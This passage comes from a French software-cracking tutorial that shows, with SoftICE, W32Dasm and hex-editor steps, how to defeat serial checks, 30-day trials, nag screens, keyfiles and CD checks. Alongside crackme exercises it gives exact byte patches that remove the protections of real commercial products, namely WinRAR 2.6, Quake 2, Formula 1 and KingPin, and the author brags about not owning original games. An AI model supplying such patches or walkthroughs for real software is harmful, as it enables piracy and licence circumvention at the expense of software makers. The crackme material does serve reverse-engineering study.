025F:00401143 68D3304000 PUSH 004030D3 << d 4030D3 = Good (titre de la msg box)
025F:00401148 6889304000 PUSH 00403089 << d 403089 = Bon message qd tu as le serial
025F:0040114D 6A00 PUSH 00
025F:0040114F E846000000 CALL USER32!MessageBoxA
025F:00401154 C9 LEAVE
025F:00401155 C21000 RET 0010
025F:00401158 6A00 PUSH 00
025F:0040115A 68EA304000 PUSH 004030EA << d 4030EA = Bad (titre de la msgbox)
025F:0040115F 68DD304000 PUSH 004030DD << d 4030DD = bad boy ;p pas le bon pass
025F:00401164 6A00 PUSH 00
025F:00401166 E82F000000 CALL USER32!MessageBoxA



En résumé, on voit une comparaison bon serial / mauvais serial exécutée par l'API
lstrcmp, qui compare des strings. On voit un CMP EAX,00 : si la comparaison est ok
le serial est bon, donc EAX = 0 et on affiche le bon messagebox :)
Sinon, ça saute à la mauvaise box !!

Ok donc pour nous, ici :

025F:0040112D 68F6304000 PUSH 004030F6 <- d 4030f6 = fake serial
025F:00401132 6800314000 PUSH 00403100 <- d 403100 = bon serial


d 4030f6 nous donne: 0800
d 403100 nous donne: XZP]P[LKW

Le bon serial ok, mais c'est pas ça qu'on veut :)
On veut forcer le prog à montrer le bon serial à la place du message d'erreur :)
Pour cela, on voit que juste avant la msg box Bad serial il y a 2 push :

le caption du titre de la title bar = push 4030EA
le texte du message du msgbox = push 4030DD

Il push ces merdes, et ensuite il affiche le message à la con !
Donc pour le faire afficher le bon serial tu prends l'adresse du push 'bon serial' et tu la
copies à la place du push 'message comme quoi tu as foiré' !!

025F:0040115A 68EA304000 PUSH 004030EA
025F:0040115F 68DD304000 PUSH 004030DD
025F:00401164 6A00 PUSH 00
025F:00401166 E82F000000 CALL USER32!MessageBoxA


cela devient:


025F:0040115A 68EA304000 PUSH 004030EA
025F:0040115F 6800314000 PUSH 00403100 <-- push bon serial
025F:00401164 6A00 PUSH 00
025F:00401166 E82F000000 CALL USER32!MessageBoxA


On a maintenant plus qu'à modifier physiquement notre crackme, et le bon pass apparaîtra
à la place de l'erreur :) et voilà notre super keygen pour branleurs :)
Hehe, c'est rapide, efficace, et on se fatigue pas :P

on cherche donc dans l'exe: 68EA30400068DD304000
on remplace dans l'exe par: 68EA3040006800314000

Tu saves le fichier, et tu lances, mets un serial en majuscules et goodie :))
Le good serial apparaît, Facile ....

Remarques on a toujours le titre : erreur code dans la msg box, rien ne vous empêche
de le changer en: Keygen ;)


***********************************************************
**** Reprogrammer la routine de Contrôle du serial ****
***********************************************************

Toujours sur le même crackme !!
On va donc recoder le check du serial dans Soft-ice pour s'occuper,
ça va prendre 10 secs, mais bon ;)
C'est juste pour montrer que on peut faire bcp de choses en fait....

notre routine de base:


025F:0040112D 68F6304000 PUSH 004030F6 <- d 4030f6 = fake serial
025F:00401132 6800314000 PUSH 00403100 <- d 403100 = bon serial
025F:00401137 E840000000 CALL KERNEL32!lstrcmp
025F:0040113C 83F800 CMP EAX,00
025F:0040113F 7517 JNZ 00401158
025F:00401141 6A00 PUSH 00
025F:00401143 68D3304000 PUSH 004030D3 [ 4030D3 = Good (titre de la msg box)
025F:00401148 6889304000 PUSH 00403089 [ 403089 = Bon message qd tu as le serial
025F:0040114D 6A00 PUSH 00
025F:0040114F E846000000 CALL USER32!MessageBoxA
025F:00401154 C9 LEAVE
025F:00401155 C21000 RET 0010
025F:00401158 6A00 PUSH 00
025F:0040115A 68EA304000 PUSH 004030EA [ 4030EA = Bad (titre de la msgbox)
025F:0040115F 68DD304000 PUSH 004030DD [ 4030DD = bad boy ;p pas le bon pass
025F:00401164 6A00 PUSH 00
025F:00401166 E82F000000 CALL USER32!MessageBoxA


Comparaison grâce à l'API lstrcmp.
On va transcrire ça en :


025F:0040112D A1F6304000 MOV EAX,[004030F6]
025F:00401132 8B1500314000 MOV EDX,[00403100]
025F:00401138 3BC2 CMP EAX,EDX
025F:0040113A 7405 JZ 00401141
025F:0040113C EB1A JMP 00401158
025F:0040113E 90 NOP
025F:0040113F 90 NOP
025F:00401140 90 NOP
025F:00401141 6A00 PUSH 00
025F:00401143 68D3304000 PUSH 004030D3
025F:00401148 6889304000 PUSH 00403089
025F:0040114D 6A00 PUSH 00
025F:0040114F E846000000 CALL USER32!MessageBoxA
025F:00401154 C9 LEAVE
025F:00401155 C21000 RET 0010
025F:00401158 6A00 PUSH 00
025F:0040115A 68EA304000 PUSH 004030EA
025F:0040115F 68DD304000 PUSH 004030DD
025F:00401164 6A00 PUSH 00
025F:00401166 E82F000000 CALL USER32!MessageBoxA


Ceci fait exactement la même chose, mais n'utilise pas d'API pour comparer.
On met en EAX: l'adresse du serial entré, et en EDX le bon serial.
On les compare via : CMP EAX, EDX
Ensuite un saut conditionnel à la con et un Jump...
Les nop n'étaient pas utiles, mais ça fais plus clean ;)
Voilà, le prog contrôle si le serial est valide d'une autre manière, ça sert à
rien, c'était juste pour montrer ce qu'on peut faire avec de l'imagination, hehe
On peut bien s'amuser donc :]






Time Limits (limitation de 30 jours et autres merdes !!)
::::::::::::::::::::::::::::::::::::::::::::::::::::::::::
::::::::::::::::::::::::::::::::::::::::::::::::::::::::::



Comme vous l'avez sûrement remarqué, il existe des programmes
qui ne sont pas enregistrables car il n'y pas moyen de s'enregistrer !!
Ils sont en générale limités à 30 jours!!
C'est ce qu'on appelle: Time limit protection !!! Comment cracker ça ?
Il y a plusieurs façons !! Nous allons voir ça de suite !!


Méthode avec W32Dasm:

Vous avez un programme nomme X, qui après 30 jours ne marche plus :(
Mais en revanche, il nous envoie une messagebox disant:
"La période d'évaluation est terminée..." ou "Trial version expirée..."
Bref ce genre de conneries !!
Alors si vous avez ça, vous lancez W32Dasm et désassemblez le fichier à cracker.
Vous cherchez cette phrase dans les String Data References et une fois
que vous avez trouvé, double-clickez dessus afin d'aller à la place
de cette phrase dans W32Dasm !!
Et maintenant ?? Ben on étudie le code aux alentours !! Ca ne vas pas être
bien dur !!

Généralement vous devriez trouver au dessus du message d'erreur des sauts
conditionnels de type JL, JLE, JG, JGE .....

Par exemple:


CMP DWORD PTR EAX, 1E <-- 1Eh = 30 en décimal (30 jours!)
JLE 00405840 <-- jump au programme si c'est égal ou inférieur à 30 jours


Ici on voit qu'il compare le nombre de jours écoulés avec 30!
Tant que c'est inférieur ou égal à 30 jours le programme marchera !!
Mais une fois dépassé les 30 jours !! Ca marche plus :(
Donc pour cracker ça on force le programme à sauter quoi qu'il arrive en changeant
le JLE en JMP !! et le programme sautera inconditionellement comme si de rien n'étais!
Il croira tjs que l'on est encore dans la période des 30 jours heheh !!


Avec Soft-ice:

Tout d'abord regardons les API utilisées dans les time limites!! :
(eq: win32API.hlp)
Je ne traduirais pas, pour ne pas détériorer les infos données.

********************************************************************************************

* GetFileTime

The GetFileTime function retrieves the date and time that a file was created, last accessed,
and last modified.

BOOL GetFileTime(
HANDLE hFile, // identifies the file
LPFILETIME lpCreationTime, // address of creation time
LPFILETIME lpLastAccessTime, // address of last access time
LPFILETIME lpLastWriteTime // address of last write time
);

Returns
If the function succeeds, the return value is TRUE.

If the function fails, the return value is FALSE. To get extended error information, call
GetLastError


********************************************************************************************

* GetLocalTime

GetLocalTime function retrieves the current local date and time.

VOID GetLocalTime(
LPSYSTEMTIME lpSystemTime // address of system time structure
);

Returns
This function does not return a value.

********************************************************************************************


* GetSystemTime

The GetSystemTime function retrieves the current system date and time. The system time
is expressed in Coordinated Universal Time (UTC).

VOID GetSystemTime(
LPSYSTEMTIME lpSystemTime // address of system time structure
);

Returns
This function does not return a value.


********************************************************************************************


* SystemTimeToFileTime

The SystemTimeToFileTime function converts a system time to a file time.

BOOL SystemTimeToFileTime(
CONST SYSTEMTIME * lpst, // address of system time to convert
LPFILETIME lpft // address of buffer for converted file time
);

Returns
If the function succeeds, the return value is TRUE.

If the function fails, the return value is FALSE. To get extended error information,
call GetLastError.

********************************************************************************************


Voilà !! Donc ça c'était les API les plus couramment utilisées dans les protections
par time limites!
Cependant, l'API la plus souvent utilisée est : Getlocaltime
Donc vous mettez un Bpx dessus et vous lancez le programme !
Soft-ice break ! Pressez F12 pour arriver au bon endroit dans le programme et commencer
à tracer !!
Si vous voyez un saut de type: JL, JLE, JGE, JG vous savez ce qu'il vous
reste à faire !!
Je ne vais pas écrire des tonnes encore sur cette protection aussi stupide que
simple à cracker !!

Vous trouvez un exemple de Time limite mais dans la partie Visual Basic!!
Comment cracker un programme VB avec W32Dasm original !! ;-)
l33t hehe

Sinon, j'espère que vous voyez comment cracker ça maintenant ......







Nag et autres Splash screen (diverses méthodes)
:::::::::::::::::::::::::::::::::::::::::::::::::
:::::::::::::::::::::::::::::::::::::::::::::::::


C'est la partie qui me fait le plus chier à écrire je pense !!
Pourquoi ? Car j'aime pas les nags screen !!
Je trouve ça ennuyeux ;)
Mais on doit y passer alors commençons dès maintenant !!
Qu'est-ce qu'un Nag screen ?
Un nag screen, c'est une fenêtre qui vient vous dire que vous
n'êtes pas enregistré et qu'il faut payer vite fait pour qu'elle disparaisse :)
Bref, c'est vraiment ennuyant, on peut tomber sur un NAG avec un bouton
désactivé qui se réactive après qq secondes par exemple !!
Bref casse-couilles à souhait ;)

Avant de commencer avec les trucs un peu plus compliqués avec Soft-ice et tout,
on va commencer par Simple !!

Cracker un nag screen avec seulement un éditeur hexadécimal.

Quoi ? Vous vous demandez quelle connerie je suis en train de raconter lol !!
L'exemple que vais vous montrer est comment cracker le NAG screen de WinRAR 2.6
quand la limite dans le temps à expirée !!
Vous pourrez essayer cette technique sur ICQ99 afin de kicker les 8 secs au démarrage!!

Bref assez bavardé !! Let's start :

*********************************
* Cracker le nag de WinRAR 2.6b *
*********************************


Tu lances WinRAR, après avoir mis la date en avance, style : 2002.
Là tu vois un nag screen avec 5 boutons de merdes !!
Il y en a 1, avec Close...
Tu clicks dessus et WinRAR marche normalement. Donc, on va émuler la
pression sur ce bouton.


Piner Le nag :)
~~~~~~~~~~~~~~


Donc, voici une méthode qui marche souvent, pour émuler la pression d'un
bouton... Vous avez juste besoin d'un éditeur hexadécimal (moi j'utilise hex workshop).
Donc, vous lancez WinRAR encore et regardez le caption du bouton : Close
puis ouvrez WinRAR avec un éditeur hexa et recherchez en hexa: 43006C006F0073006500
43006C006F0073006500 =
C l o s e

donc vous recherchez la valeur hexa de chaque Caractères, plus 00 entre chaque valeur.
Vous devez arrivez ici :


4600 0E00 0100 FFFF 8000 4300 6C00 6F00 F.........C.l.o. <== C l o s e ici !!! heh
7300 6500 0000 0000 0000 0150 0000 0000 s.e........P....
9500 4300 4600 0E00 0900 FFFF 8000 2600 ..C.F.........&.
4800 6500 6C00 7000 0000 0000 0700 0050 H.e.l.p........P
0000 0000 0400 0400 8B00 4D00 FFFF FFFF ..........M.....
8000 0000 0000 0000 0000 0250 0000 0000 ...........P....
0900 1000 8200 3700 FFFF FFFF 8200 5000 ......7.......P.
6C00 6500 6100 7300 6500 2000 6E00 6F00 l.e.a.s.e. .n.o.



Donc, voilà vous êtes à la bonne place, now pour émuler, vous avez juste à regardez le
FFFF82 ou FFFFFFFF82 le plus proche et changer le 82 en 7E !!!


donc :

4600 0E00 0100 FFFF 8000 4300 6C00 6F00 F.........C.l.o.
7300 6500 0000 0000 0000 0150 0000 0000 s.e........P....
9500 4300 4600 0E00 0900 FFFF 8000 2600 ..C.F.........&.
4800 6500 6C00 7000 0000 0000 0700 0050 H.e.l.p........P
0000 0000 0400 0400 8B00 4D00 FFFF FFFF ..........M.....
8000 0000 0000 0000 0000 0250 0000 0000 ...........P....
0900 1000 8200 3700 FFFF FFFF 8200 5000 ......7.......P. <-- ici tu vois FFFFFFFF82 !!!
6C00 6500 6100 7300 6500 2000 6E00 6F00 l.e.a.s.e. .n.o.



COOL !! Là tu es à la bonne place, donc tu remplaces le 82 par un 7E
et hop le nag a mouru ;)
Donc :

0900 1000 8200 3700 FFFF FFFF 8200 5000 ......7.......P.

devient :


0900 1000 8200 3700 FFFF FFFF 7E00 5000 ......7.....~.P.


Tu saves ton fichier WinRAR, le relance et plus de nag du tout :)
Si tu remets la date en arrière, toujours pas de nag, donc Voilà c'est terminé.
Conseil: Ils auraient dû fermer le prog une fois le temps dépassé! Ca aurait forcé le
cracker à jouer un peu plus et cracker le time limite !
Pour le reste des protections, c'est tres simple ! Avec ce que vous avez dû lire
avant d'arriver ici, vous ne devriez pas avoir de problèmes !



On va passer à un autre type de Nag Screen !! Les messagebox.
C'est très chiant, mais quand on voit ça !! On est quand même content car ça se vire
en 10 secondes ;)

Les messageboxes se reconnaissent grâce à leurs icônes déjà !
Les icônes que l'on voit dans Windows avec comme signe: le point d'exclamation,
la croix blanche sur rond rouge.... et un message l'accompagnant !!

Comment cracker ça ? Bien je vais montrer 2 façons!!

- Avec W32Dasm (cracker like a wanker):

Vous lancez votre programme et vous voyez le message qui nous dit:

"Version Shareware! please Register" ou un truc chiant du style !!
Pour virer ça, vous ouvrez W32Dasm et désassemblez le fichier du programme!
Vous faites un tour dans les String Data References à la recherche de cette phrase!
Vous allez la trouver avec 98 % de chances !!
Donc vous double-cliquez sur cette phrase et recherchez au dessus d'un saut conditionnel
qui vous fait atterrir sur le nag ou au contraire le sauter !!
ET vous le nopez ou forcez a sauter en fonction de ce que vous trouvez !!

ex:

JE 00406280
.................

Possible String Data Reference BLABLA to: Please Register Now !...


XXXX:00406280 PUSH 00
XXXX:00406282 PUSH 004062E0 ;"Register!"
XXXX:00406287 PUSH 00406360 ;"Please Register Now!!.."
XXXX:0040628C PUSH 00
XXXX:0040628E CALL [USER32!MessageBoxA]

....................


Ici, si ce "je" nous amène à tout les coups sur le message d'erreur, on le NOP
et il ne sautera plus jamais !
Ceci est un exemple mais ça ressemble à ça en gros.
C'est pas très clean, et ça fait branleur mais bon :)
Plus ça va vite et plus vous êtes content je présume ....


- Avec Soft-ice:


Avec Soft-ice on va tout simplement poser un BPX sur MessageBoxA!
Donc Ctrl+D et tapez votre BPX!
Lancez le programme et Soft-ice break! Pressez F12 et vous retournez sous
Windows !! Là vous clickez sur le bouton OK du nag et vous vous retrouvez sous
Soft-ice encore une fois !!
Juste au dessus de votre emplacement actuel vous devez voir le Call qui appelle
le messageBox !!
On peut cracker comme un bourin en nopant ce call, mais ça fait pas très pro,
le mieux c'est de foutre un RET juste après être entré dans le CALL..

Petit exemple théorique:


XXXX:00406280 PUSH 00
XXXX:00406282 PUSH 004062E0 ;"Register!"
XXXX:00406287 PUSH 00406360 ;"Please Register Now!!.."
XXXX:0040628C PUSH 00
XXXX:0040628E CALL [USER32!MessageBoxA] <--- ici on fait F8


Après avoir fait le F8 on voit un truc comme ça :

025F:00401510 FF253C324000 JMP [USER32!MessageBoxA] <-- le F8 nous mène ici
025F:00401516 FF2540324000 JMP [USER32!MoveWindow]
025F:0040151C FF2544324000 JMP [USER32!DialogBoxParamA]
........................

Après avoir fait le F8, on est donc sur un JMP qui va appeler le MessageboxA .
Donc sur cette ligne vous faites:

A {enter}
RET {Enter}
{echap}


Le programme arrive et prends le RET et sort de cette routine en 2 temps 3 mouvements!
et hop il continue sa route sans jamais afficher aucune connerie !
Ensuite vous faites la modif dans l'exécutable lui-même et on en parle plus :]

Je vais expliquer Rapidement une méthode qui utilise un BPX qui est très rarement
utilisé pour cracker les Nags, mais plutôt dans les names / serials !
Mais c'est un plaisir de l'utiliser dans les programmes écrits en Delphi par exemple !
Le BPX est : hmemcpy

Méthode théorique:

Vous mettez ce BPX et vous lancez le programme en Delphi à cracker!
Soft-ice break! Vous pressez F5 le nombre de fois qu'il faut pour obtenir le NAG screen
et vous comptez le nombre de F5 qu'il vous a fallut bien sûr!!
On va dire: 14 fois F5 pour voir le nag !!
Alors on relance le programme et on fera F5 le nombre de fois que vous avez trouvé
moins 1 !! (14 - 1 = 13 ici)
On presse 13 fois F5 ici !! Ensuite on presse F12 pour revenir dans l'exécutable
et quitter ces dlls à la con :=)
Après avoir fait ça, vous tracez comme un dingue avec F10 et vous allez arriver sur une série
de CALL , MOV , CALL , MOV ....
Ca se voit tout de suite, il y a quasiment que ça !!
Et là vous mettez un BPX à l'emplacement où cette routine commence et vous tracez avec
F10! Le NAG screen va apparaître en passant sur un call normalement !! Vous repérez
quel CALL c'est et puis vous lui mettez un bpx une fois avoir désactivé tout les autres!
Vous breakez dessus! Première façon bourin: on nope le call comme un goret ;)
On a de la chance ça marche !! KeWl !!
Alors on peut entrer dans le Call avec F8 et mettre un ret sur le Push ebp qui doit
s'y trouver!! (c'est pas tjs un Push ebp ;p)
On presse F5 et si le nag est parti et que ça ne crash pas, c'était le bon endroit !!
Si tout ça a amené à un méchant crash :-/ , il vous faut après avoir entré ce call
chercher un autre call qui affiche le nag à l'intérieur !!
et le noper !!
Si le nag est avec timer, on doit trouver un CALL GETTICKCOUNT pas loin de celui-ci
non plus !! Cette API est souvent utilisée pour ça ;)

On peut aussi utiliser L'API: Destroywindow qui nous amène dans Soft-ice après avoir
tué le nag ! Là on presse F12 et on regarde les calls plus haut et on retrouve
souvent les calls et les movs de tout à l'heure qui sont si charmants, lol.
Bref, cette technique, je ne l'ai jamais vu dans aucun cours en français ou bien
US, mais elle permet de cracker un nag Delphi en 2 mins sans se faire chier à tracer
comme un dingue jusqu'à trouver LE CALL !!

Sinon, voici une liste d'API utilisées dans le cracking des nags screen:


pour tout ce qui est messagebox:

MessageBox
MessageBoxA
MessageBoxExA
MessageBeep

ou encore ceci pour afficher du texte!

SENDMESSAGE
WSPRINTF


et pour les générations de fenêtre:

createwindow
createwindowexa
showwindow


Voilà, je pense que vous avez déjà de quoi cracker pas mal de nags screen à la con!
La plus part du temps c'est : Posez le BPX, tracez, trouvez le CALL, killez le !
et on ne reparle plus du NAG !!





Keyfile
:::::::::
:::::::::


Qu'est ce qu'un keyfile ?

C'est un fichier licence que l'on place dans le répertoire courant du programme
pour l'enregistrer !
On a donc rien à entrer comme un name / serial!
On n'utilise pas les mêmes API mais surtout l'API CreateFileA.

Je vais montrer un exemple:

********************************
* termial Cilla's CrackMe 1.0 *
********************************

Je vous préviens de suite, ce crackme contient une protection par Key file, qui
est très simple, mais que je considère bien pour le sujet d'un cours général !
Je ne vais pas vous faire un cours sur un keyfile qui est trop long et qui va vous
perturber !!

Le crackme a besoin d'un fichier keyfile, ici il s'appelle TC1.key .

Je crée un fichier keyfile à la con contentant le texte:
"ACiD BuRN 4 EVER Ph34rs "

Si on édite en hexa on obtient ceci:

00000000: 41 43 69 44 20 42 75 52 4E 20 34 20 45 56 45 52
00000010: 52 20 50 68 33 34 72 73 20 20 20 20 20 20 20 20

Lancez le crackme et on voit qu'il y a un bouton pour checker le keyfile !!
Un open box apparaît si vous clickez dessus et vous dit de choisir un fichier, ok on va le
faire l'ami :)
Tout d'abord mettez un BPX sur createfilea et quittez Soft-ice avec F5 !
Ensuite il vous suffit de choisir le fichier et Soft-ice revient de plus belle !
Pressez F11 et vous devriez voir le code suivant:


:0040461F CALL KERNEL32!CreateFileA
:00404624 CMP EAX,-01 ; Est-ce que le fichier existe ?
:00404627 JZ 00404652 ; si il n'existe pas ça saute
:00404629 MOV [EBX],EAX
:0040462B POP EDI
:0040462C POP ESI
:0040462D POP EBX
:0040462E RET ; tout est ok! on sort d'ici!

On a notre fichier, donc le test est ok ! On continue à tracer avec F10 on passe le RET
et on trouver un code du genre:



:00429D93 CALL 00402618
:00429D98 JMP 00429DB4
:00429D9A LEA EDX,[EBP-01]
:00429D9D LEA EAX,[EBP-0150]
:00429DA3 CALL 004044E8
:00429DA8 CALL 00402618
:00429DAD XOR EAX,EAX ; EAX = 0
:00429DAF MOV AL,[EBP-01] ; Prends le caractère du keyfile (dans ebp-1)
:00429DB2 ADD EBX,EAX ; additionne la valeur à EBX
:00429DB4 LEA EAX,[EBP-0150]
:00429DBA CALL 00404494
:00429DBF CALL 00402618
:00429DC4 TEST AL,AL ; On a fait toutes les lettes ?
:00429DC6 JZ 00429D9A ; non ? alors on saute sinon on continue
:00429DC8 LEA EAX,[EBP-0150]
:00429DCE CALL 00404458
:00429DD3 CALL 00402618
:00429DD8 CMP EBX,000020A9 ; La somme des caractères = 20A9h ?
:00429DDE JNZ 00429DEE ; Si c'est égal alors le keyfile est valide


La somme de mon fichier fait: 794h
Ce n'est pas égal à 20A9h donc le keyfile n'est pas valide!!
On va rectifier ça !! 20A9h - 794h = 1915h
Il nous faut donc ajouter 1915h à notre keyfile! On va ajouter des FFh (255)

Je n'ai plus le keyfile sous la main, mais je pense que vous avez compris comment ça marche !
Alors je vous laisse vous amuser !!



Sinon, le keyfile le plus petit possible est :



00000000: FF FF FF FF FF FF FF FF FF FF FF FF FF FF FF FF
00000010: FF FF FF FF FF FF FF FF FF FF FF FF FF FF FF FF
00000020: C9


Il n'y a aucun texte dans cette keyfile, on retrouve juste la somme nécessaire: 20A9h
Alors amusez vous à faire votre propre keyfile et si vous n'avez pas compris comment
faire, essayez de compléter mon keyfile :)

Voilà, la partie keyfile fut brève !
Il existe un crackme un peu plus compliqué mais très intéressant à essayer:
Cruehead Crackme 3 !
Il est toujours simple, mais plus fin à cracker ;)
Vous devez l'essayer, et pourquoi par faire un keymaker !
Il existe d'autres crackme utilisant les keyfiles! Alors vous pouvez vous entraîner
si vous avez du mal!
Note: N'essayer pas de cracker CuteFTP juste après avoir lu ce cours, si vous n'avez jamais
cracké de keyfiles de votre vie! C'est un conseil ....






CD Check (les BPX, et techniques diverses...)
:::::::::::::::::::::::::::::::::::::::::::::::
:::::::::::::::::::::::::::::::::::::::::::::::


Alors là, c'est la partie cracking jeux!!
Qu'est qu'un CD check ?
Un CD check est la détection du CD dans le lecteur pour éviter aux petits
pirates en herbes de copier les jeux sur leur disque durs pour y jouer
sans CD :)
lol!! Il y a bcp de jeux protégés par CD check mais bon, les 3/4 on se pisse
de rire!!
La protection actuelle qui calme les "petits" crackers est CDilla,
cette protection est en effet d'un niveau élevé par rapport aux protections
que l'on trouve dans: Quake 2, Formula 1, King Pin et bcp d'autres !!
Mais, je vais vous montrer comment cracker les 2 avant-dernières protections
de CDilla !! N'ayant aucun jeux originaux (hehe, no way ) je n'ai pas pu
tester la toute dernière version encore, qui est soi-disant plus dure;)
Je vais aussi vous parler des protections commerciales !
Mais je ne vous décrirais que CD Lock et CDilla ! Il existe de nombreux cours
sur securom, et autres protections CD commerciales !
J'écris pas un roman lol

Alors nous allons commencer par les protections TRES TRES simples !!


Les CD check de bases:

*** Avec W32Dasm: *****

Comme exemple on va prendre Formula 1:
Il contrôle si il y a le CD du jeu et si ce n'est pas le cas il refuse
de se lancer.
Après avoir installé le jeu on le lance (après avoir retiré le CD !!!)
Et un message apparaît "Formula 1 CD NOT Found". Il n'en faut pas plus
pour le cracker.
Prenez W32Dasm et désassemblez le fichier exécutable, en l'occurrence
F1win.exe.
Cherchez dans String Data References (Menu "Refs") de W32Dasm et recherchez
la phrase. On trouve ça quelques lignes avant le message d'erreur :



00409AC3 FF5234 call [edx+34]
00409AC6 85C0 test eax, eax
00409AC8 7D50 jge 00409B1A

Là il y a un test qui ne nous envoie pas au jeu si il ne trouve pas le CD,
donc on place des NOP et il n'y a plus aucun Test et le jeu se lance
quoi qu'il arrive. Cela donne :


00409AC3 FF5234 call [edx+34]
00409AC6 90 nop
00409AC7 90 nop
00409AC8 7D50 jge 00409B1A

Donc pour le cracker il faut rechercher avec un éditeur hexadécimal
la chaîne FF 52 34 85 C0 7D 50 et la remplacer par FF 52 34 90 90 7D 50
c'est tout.



2ème exemple : Quake 2 v3.14

Après avoir installé le jeu ou après avoir mis le patch 3.14,
quand on lance Quake 2 sans le CD dans le lecteur, il marche jusqu'au
menu puis lorsqu'on lance une nouvelle partie boum! Le message
"You must have the Quake 2 CD in ..."

On désassembles le fichier avec W32Dasm puis on cherche dans String Data References
le message "You must have the Quake 2 CD in ..."
Bcp de jeux utilisent cette connerie de message !! (ils sont rares de nos jours
cependant!)

Vous marquez "Please insert the XXX CD" (vous cherchez cette phrase dans
String Data References.)
Après avoir trouvé cette phrase dans String Data References, clicker 2
fois dessus, cela vous amènera au désassembler à la ligne du message.
Remontez un peu avec la barre de défilement, vous trouverez juste au
dessus:

E82BFFFFFF call 0042F520
803800 cmp byte ptr [eax], 00
750F jne 0042F609

Là on voit un petit "750F" qui représente le "Jne" (celui dont je vous
parlais au début), il représente un saut si ce n'est pas égal. Donc

  
si
il n'y a pas le CD dans le lecteur, ce n'est pas "égal au CD" donc le
programme saute au message d'erreur et le jeu ne marche pas!
On va noper ce con de saut !!

Le code devient:

E82BFFFFFF call 0042F520
803800 cmp byte ptr [eax], 00
90 nop
90 nop

Et c'est partie !! Les CD checks de ce type!!: That's bullshits !

Donc pour cracker définitivement le jeu on cherche la chaîne
Hexadécimale suivante avec un éditeur Hexa du style HexWorkshop, Hedit.
La chaîne : FF FF 80 38 00 75 0F et la remplacer par FF FF 80 38 00
90 90.
Fermez W32Dasm et lancez Quake 2. Bingo le jeu marche c'est cool!

Vous allez me dire !! Ca marche que sur les vieux jeux ça ;PP
Alors comme autre Exemple: KingPin version Fr

***************
*** KingPin ***
***************



Cracking part:

Qd vous lancez le jeu avec un CD gravé, on voit les super (lol) messages:
You must have the KingPin CD in the drive to play...

Hahah, j'adore ce genre de conneries!
Lancez W32Dasm et désassemblez le jeu!

Allez dans les References et cherchez la phrase du jeux!
Double click dessus et on ne voit rien de super! donc on re-double click dessus !
Et cette fois-ci!! On trouve qq chose de bien :


* Referenced by a CALL at Address:
|:0043D5F1 <== hoho :))
|
:00442030 56 push esi
:00442031 E84AFFFFFF call 00441F80
:00442036 8BF0 mov esi, eax
:00442038 85F6 test esi, esi
:0044203A 750E jne 0044204A

* Possible StringData Ref from Data Obj ->"You must have the KINGPIN CD in "
->"the drive to play."
|
:0044203C 68C8414500 push 004541C8 <== on arrive ici
:00442041 50 push eax
:00442042 E859D7FDFF call 0041F7A0
:00442047 83C408 add esp, 00000008



Donc, nous voyons le message d'erreur et un petit jne juste avant !!
Mais bon, remplacez un je en Jne et autres, ça fait branleur !!!
Réfléchissons un peu ;)

On a vu :

* Referenced by a CALL at Address:
|:0043D5F1


Donc avec W32Dasm on va regarder ce call !!
Allez dans le menu "Goto" et clickez sur "goto code location" et entrez : 43D5F1
Maintenant on arrive ici:


:0043D5E5 A184274900 mov eax, dword ptr [00492784]
:0043D5EA 83C40C add esp, 0000000C
:0043D5ED 85C0 test eax, eax
:0043D5EF 7505 jne 0043D5F6

* Referenced by a (U)nconditional or (C)onditional Jump at Address:
|:0043D5D2(U)
|
:0043D5F1 E83A4A0000 call 00442030 <== get the fuck outta here!

* Referenced by a (U)nconditional or (C)onditional Jump at Addresses:
|:0043D51F(U), :0043D532(C), :0043D55A(U), :0043D5BA(C), :0043D5D0(C)
|:0043D5EF(C)


Hehehe, voilà !! C'est ce call de merde qui appelle la routine de CD check !
On va le noper et il nous tanera plus !! Promis.

Clickez sur ce call, en bas de la fenêtre de W32Dasm, vous devez voir offset : 3D5F1
Lancez votre éditeur hexa et allez à cet offset !
On remplace E83A4A0000 par 9090909090.

Enregistrez le fichier et lancez le ;)

Choisissez new game, et WOW !! Le jeu marche *grin* !
Piece of cake !!
On vient de cracker King Pin ! Un jeux super récent mais avec une protection
de merde :) (tant mieux hehe, vous allez voir CDilla, c'est autre choses)
Voilà, c'est fini pour les CD checks de bases avec W32Dasm !


**** CD check avec Soft-ice *****


Voici un exemple Très simple de CD check !
Mais cette fois-ci on utilise Soft-ice (my love)

Le but du crackme et de faire afficher le message de bon CD qd on a pas un
seul CD dans le lecteur :)

On le lance sans CD, on click sur le bouton et une messagebox de merde
arrive !! mouahah
Les BPX les plus utilisés dans le CD checks sont: GETDRIVETYPEA et
GETVOLUMEINFORMATIONA !!

Mettez un bpx sur GETDRIVETYPEA et clickez sur le bouton! Pressez F12 tant que l'on
est pas à la bonne place !!

Vous devriez voir qq chose comme ça:


025F:00401032 83F805 CMP EAX,05 <--- c'est un CD ?
025F:00401035 75DC JNZ 00401013
025F:00401037 6A00 PUSH 00
025F:00401039 6A00 PUSH 00
025F:0040103B 6A00 PUSH 00
025F:0040103D 6A00 PUSH 00
025F:0040103F 6A00 PUSH 00
025F:00401041 6A20 PUSH 20
025F:00401043 68F7214000 PUSH 004021F7
025F:00401048 685A224000 PUSH 0040225A
025F:0040104D E85E000000 CALL KERNEL32!GetVolumeInformationA
025F:00401052 0BC0 OR EAX,EAX
025F:00401054 74BD JZ 00401013 <-- JMP BAD CRACKER
025F:00401056 6A00 PUSH 00
025F:00401058 685F224000 PUSH 0040225F
025F:0040105D 6A00 PUSH 00
025F:0040105F 6A00 PUSH 00
025F:00401061 685A224000 PUSH 0040225A



Ok, c'est trop simple, il compare la valeur d'EAX avec 5!
Hmm pourquoi 5 ?
Voici un petit tableau des différents type de lecteurs et leurs références:

La valeur dans EAX veux dire:

0 Lecteur indéterminé
1 Répertoire sur la racine n'existe pas
2 Disque removable
3 Disque dur
4 Remote Drive(Network)
5 CD ROM
6 RamDisk

Donc le crackme ici compare EAX avec 5 ! Donc il veut un CD ROM arff
sinon il saute!!


025F:00401032 83F805 CMP EAX,05
025F:00401035 75DC JNZ 00401013 <-- on NOP ça

On nop ça ! Et plus jamais de problèmes avec ça hehehe !!
On ouvre le crackme avec un éditeur hexa, on cherche 83F80575DC et on remplace par
83F8059090.
Après ce contrôle de type de disque, on voit un "CALL KERNEL32!GetVolumeInformationA"
Hehe, une API souvent utilisée par les CD checks!

Ca ressemblais à ça:

025F:0040104D E85E000000 CALL KERNEL32!GetVolumeInformationA
025F:00401052 0BC0 OR EAX,EAX
025F:00401054 74BD JZ 00401013 <-- Jump to bad boy



Encore une fois ! On NOP le saut conditionnel et le CD is no more :)
Ben voilà, c'est fini, je ne vais pas faire un roman non plus sur les CD checks ehehe

********************************************
